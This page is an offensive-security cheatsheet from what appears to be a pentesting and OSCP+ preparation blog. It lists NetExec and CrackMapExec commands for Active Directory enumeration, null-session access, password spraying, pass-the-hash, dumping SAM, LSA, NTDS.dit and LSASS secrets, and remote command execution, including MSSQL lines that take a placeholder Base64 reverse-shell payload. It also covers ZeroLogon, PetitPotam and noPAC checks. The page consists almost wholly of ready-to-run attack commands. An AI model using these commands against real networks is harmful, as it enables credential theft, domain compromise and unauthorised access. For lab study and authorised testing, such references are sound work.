Search
NetExec and CrackMapExec Cheatsheet
8 min read

NetExec and CrackMapExec Cheatsheet

Vorkharium's Picture
Vorkharium in Cheatsheets Tools Active-Directory Active-Directory-Enumeration SMB Credential-Dumping

Disclaimer: This cheatsheet is regularly updated to ensure accuracy; however, due to updates and evolving tools, some commands may no longer work or may have alternative methods of running them. Please verify commands as needed and consult official documentation or additional resources if a command does not perform as expected.

Table of Contents

Getting NetExec and CrackMapExec

We can install NetExec on Kali Linux using the following command:

sudo apt install netexec

CrackMapExec comes pre-installed on Kali Linux by default. However, if installation is required, the following command can be used:

sudo apt install crackmapexec

Important Note: I primarily use NetExec as it is the updated version of CrackMapExec. However, there are situations where trying both tools can be beneficial to minimize the risk of false negatives and false positives.

NetExec Commands

The IP address 172.16.150.20 will be used as an example for the Domain Controller (DC01) IP address.

nxc Enumeration

# Enumerating Network (Find active reachable hosts)
nxc smb 172.16.150.0/24

# Null Session (Access without Credentials)
nxc smb 172.16.150.20 -u '' -p ''
netexec smb 10.129.132.249 -u '' -p '' -d "DC=active,DC=htb"

# Shares
nxc smb 172.16.150.20 -u john -p 'Password123!' --shares

# Shares with Spider Plus
nxc smb 172.16.150.20 -u john -p 'Password123!' -M spider_plus

# Shares with Spider Plus with Dump on Kali (Avoid running it with /24 IP range)
nxc smb 172.16.150.20 -u john -p 'Password123!' -M spider_plus -o READ_ONLY=False

# Domain Password Policy
nxc smb 172.16.150.20 -u john -p 'Password123!' --pass-pol

# Domain Users
nxc smb 172.16.150.20 -u john -p 'Password123!' --users

# Logged Users
nxc smb 172.16.150.20 -u john -p 'Password123!' --loggedon-users

# RID
nxc smb 172.16.150.20 -u john -p 'Password123!' --rid-brute

# Groups
nxc smb 172.16.150.20 -u john -p 'Password123!' --groups

# Local Groups
nxc smb 172.16.150.20 -u john -p 'Password123!' --local-groups

# Sessions
nxc smb 172.16.150.20 -u john -p 'Password123!' --sessions

# Disk
nxc smb 172.16.150.20 -u john -p 'Password123!' --disks

# RDP
nxc rdp 172.16.150.20 -u john -p 'Password123!'
nxc rdp 172.16.150.20 -u john -p 'Password123!' --local-auth

# WinRM
nxc winrm 172.16.150.20 -u john -p 'Password123!'
nxc winrm 172.16.150.20 -u john -p 'Password123!' --local-auth

# MSSQL
nxc mssql 172.16.150.20 -u john -p 'Password123!'
nxc mssql 172.16.150.20 -u john -p 'Password123!' --local-auth

nxc Checking Credentials & Password Spraying

Important Note: Always check Domain Password Policy before Password Spraying to prevent Account Lockouts.

# Check Credentials - with Password
nxc smb 172.16.150.20 -u john -p 'Password123!'

# Check Credentials - with Hash
nxc smb 172.16.150.20 -u john -H 'NT_HASH'
nxc smb 172.16.150.20 -u john -H 'LM_HASH:NT_HASH'

# Password Spraying
nxc smb 172.16.150.20 -u john jane marcus -p 'Password123!'
nxc smb 172.16.150.20 -u john -p 'Password123!' 'PleaseDontHackMe' '1337H4x0r'
nxc smb 172.16.150.20 -u domain_users.txt -p passwords_found.txt
nxc smb 172.16.150.20 -u domain_users.txt -p passwords_found.txt --continue-on-success

# Local Authentication
nxc smb 172.16.150.20 -u john -p 'Password123!' --local-auth
nxc smb 172.16.150.20 -u domain_users.txt -p passwords_found.txt --local-auth

# RDP
nxc rdp ips_internal.txt -u john -p 'Password123!' --continue-on-success
nxc rdp ips_internal.txt -u john -p 'Password123!' --continue-on-success --local-auth

# WinRM
nxc winrm ips_internal.txt -u john -p 'Password123!' --continue-on-success
nxc winrm ips_internal.txt -u john -p 'Password123!' --continue-on-success --local-auth

# MSSQL
nxc mssql ips_internal.txt -u john -p 'Password123!' --continue-on-success
nxc mssql ips_internal.txt -u john -p 'Password123!' --continue-on-success --local-auth

nxc Dumping Credentials

# SAM
nxc smb 172.16.150.20 -u john -p 'Password123!' --sam

# LSA
nxc smb 172.16.150.20 -u john -p 'Password123!' --lsa

# NTDS.DIT RPC
nxc smb 172.16.150.20 -u john -p 'Password123!' --ntds

# NTDS.DIT VSS
nxc smb 172.16.150.20 -u john -p 'Password123!' --ntds vss

# LSASS
nxc smb 172.16.150.20 -u john -p 'Password123!' -M lsassy
nxc smb 172.16.150.20 -u john -p 'Password123!' -M mimikatz
nxc smb 172.16.150.20 -u john -p 'Password123!' -M nanodump
nxc smb 172.16.150.20 -u john -p 'Password123!' -M procdump

# LAPS Password
nxc ldap 172.16.150.20 -u john -p 'Password123!' -M laps -o computer=172.16.150.120

nxc Command Execution

# CMD
nxc smb 172.16.150.20 -u john -p 'Password123!' -x "whoami"

# PowerShell
nxc smb 172.16.150.20 -u john -p 'Password123!' -x "whoami"

# MSSQL
nxc mssql 172.16.150.20 -u john -p 'Password123!' -x "whoami"
nxc mssql 172.16.150.20 -u john -p 'Password123!' -x "Enter PowerShell#3 (Base64) Reverse Shell from revshells.com here"

nxc Testing CVEs

# ZeroLogon
nxc smb 172.16.150.20 -u '' -p '' -M zerologon

# PetitPotam
nxc smb 172.16.150.20 -u '' -p '' -M petitpotam

# noPAC
nxc smb 172.16.150.20 -u '' -p '' -M nopac

CrackMapExec Commands

As of 2024, CrackMapExec is deprecated, and I primarily use NetExec. However, there are still some cases where CrackMapExec remains useful. Below are the commands I use most frequently:

cme Enumeration

# Enumerating Network (Find active reachable hosts)
crackmapexec smb 172.16.150.0/24

# Null Session (Access without Credentials)
crackmapexec smb 172.16.150.20 -u '' -p ''

# Shares
crackmapexec smb 172.16.150.20 -u john -p 'Password123!' --shares

# Domain Password Policy
crackmapexec smb 172.16.150.20 -u john -p 'Password123!' --pass-pol

# Domain Users
crackmapexec smb 172.16.150.20 -u john -p 'Password123!' --users

cme Checking Credentials & Password Spraying

# Check Credentials - with Password
crackmapexec smb 172.16.150.20 -u john -p 'Password123!'

# Check Credentials - with Hash
crackmapexec smb 172.16.150.20 -u john -H 'NT_HASH'
crackmapexec smb 172.16.150.20 -u john -H 'LM_HASH:NT_HASH'

# Password Spraying
crackmapexec smb 172.16.150.20 -u john jane marcus -p 'Password123!'
crackmapexec smb 172.16.150.20 -u john -p 'Password123!' 'PleaseDontHackMe' '1337H4x0r'
crackmapexec smb 172.16.150.20 -u domain_users.txt -p passwords_found.txt
crackmapexec smb 172.16.150.20 -u domain_users.txt -p passwords_found.txt --continue-on-success

# Local Authentication
crackmapexec smb 172.16.150.20 -u john -p 'Password123!' --local-auth
crackmapexec smb 172.16.150.20 -u domain_users.txt -p passwords_found.txt --local-auth

cme Dumping Credentials

# SAM
crackmapexec smb 172.16.150.20 -u john -p 'Password123!' --sam

# LSA
crackmapexec smb 172.16.150.20 -u john -p 'Password123!' --lsa

# NTDS.DIT RPC
crackmapexec smb 172.16.150.20 -u john -p 'Password123!' --ntds

# NTDS.DIT VSS
crackmapexec smb 172.16.150.20 -u john -p 'Password123!' --ntds vss

cme Command Execution

# CMD
crackmapexec smb 172.16.150.20 -u john -p 'Password123!' -x "whoami"

# PowerShell
crackmapexec smb 172.16.150.20 -u john -p 'Password123!' -x "whoami"

# MSSQL
crackmapexec mssql 172.16.150.20 -u john -p 'Password123!' -x "whoami"
crackmapexec mssql 172.16.150.20 -u john -p 'Password123!' -x "Enter PowerShell#3 (Base64) Reverse Shell from revshells.com here"

# MSSQL with Domain Parameter
crackmapexec mssql 172.16.150.20 -d automotors.local -u john -p 'Password123!' -x "Enter PowerShell#3 (Base64) Reverse Shell from revshells.com here"

You may also like

HTB Flight Write-up
16 min read

HTB Flight Write-up

Part of the OSCP+ Preparation Series

Vorkharium's Picture
Vorkharium in Write-ups HTB OSCP+ Hard Windows Active-Directory Vhost-Enumeration Domain-User-Enumeration AD-Password-Spraying Password-Reuse SMB-Share-Write-Permission-Abuse .ini Capturing-NTLMv2-Hashes-with-SMB-Server PHP-Reverse-Shell Chisel.exe Port-Forwarding RunasCs.exe RunasCs.exe-Reverse-Shell Microsoft-IIS cmdasp.aspx JuicyPotatoNG
HTB Mailing Write-up
9 min read

HTB Mailing Write-up

Part of the OSCP+ Preparation Series

Vorkharium's Picture
Vorkharium in Write-ups HTB OSCP+ Easy Windows Path-Traversal CVE Capturing-NTLMv2-Hashes WinRM Credential-Dumping Pass-the-Hash
THM Year of the Owl Write-up
8 min read

THM Year of the Owl Write-up

Part of the OSCP+ Preparation Series

Vorkharium's Picture
Vorkharium in Write-ups THM OSCP+ Hard Windows SNMP OSINT NetExec WinRM SID-Recycle-Bin Credential-Dumping SAM-SYSTEM-Dump Pass-the-Hash

Latest Posts

HTB Brevi Moduli Solution (Without SageMath)
3 min read

HTB Brevi Moduli Solution (Without SageMath)

Vorkharium's Picture
Vorkharium
HTB Devvortex Write-up
7 min read

HTB Devvortex Write-up

Vorkharium's Picture
Vorkharium

Explore Tags

.PFX .bat .ini .mdb ACLs AChat AD-Password-Spraying API AS-REP-Roasting Active-Directory Active-Directory-Enumeration Alternative-Without-Metasploit Arbitrary-File-Read Arbitrary-File-Upload Azure-AD-Connect Bash-History Bash-Script Blind-SSRF BloodHound Buffer-Overflow BusyBox CVE CanRestart Capturing-NTLMv2-Hashes Capturing-NTLMv2-Hashes-with-SMB-Server Challenges Cheatsheets Chisel.exe ColdFusion Command-Injection Create-id_rsa Credential-Dumping Credential-Hunting Credentials-in-DB-File Credentials-in-Database Credentials-in-Registry Cron-Job Cryptography DCSync Default-Credentials Docker Domain-User-Enumeration Easy Etc-Shadow FTP FTP-Anonymous File-Upload-Bypass Fuzzing GPP-cPassword GTFOBins-Shell GenericAll Git Git-Commit Gitea Groovy-Reverse-Shell HTB Hard Incognito.exe Jenkins Joomla JuicyPotato JuicyPotatoNG KeePass-.kdbx Kerberoasting LDAP LDAP-Anonymous LDAP-Saved-Password Linux Linux-Relative-Path-Abuse Login-Brute-Force MD5-Hash MSFVenom MSSQL Magic-Bytes Manual-SQL-Injection Medium Microsoft-IIS Mount-NFS MySQL NetExec Nmap-SUID OSCP+ OSINT PHP-Reverse-Shell Pass-the-Hash Passback-LDAP-Attack Password-Reuse Password-Spraying Path-Traversal Pivoting Port-Forwarding PowerShell-History PowerUp.ps1 PowerView.ps1 Printer PsExec Python Python-Script RDP RFI RPC RPC-Null-Session RSA Relative-Path-Exploitation Runas.exe RunasCs.exe RunasCs.exe-Reverse-Shell SAM-SYSTEM-Dump SID-Recycle-Bin SMB SMB-Null-Session SMB-PsExec SMB-Share-Write-Permission-Abuse SMB-Shares SNMP SQL-Injection SQL-Injection-Bypass SQLMap SSH SSH-Brute-Force SUID Script Searchor Server-Operators Service-Restart Shadow Solution Stored-Credentials Sudo-l THM Tar-Wildcard-Expansion Telnet Tomcat Tools Unix Unquoted-Service-Path Username-Pattern Vhost-Enumeration WAR-Reverse-Shell WP-Template-PHP-Reverse-Shell Weak-Credentials Weak-File-Permission Web-Pentesting WinRM WinRM-.pem Windows Windows-Kernel-Exploit WordPress Write-ups WriteDacl XSRF apport-cli binwalk cmdasp.aspx pspy rdesktop sc.exe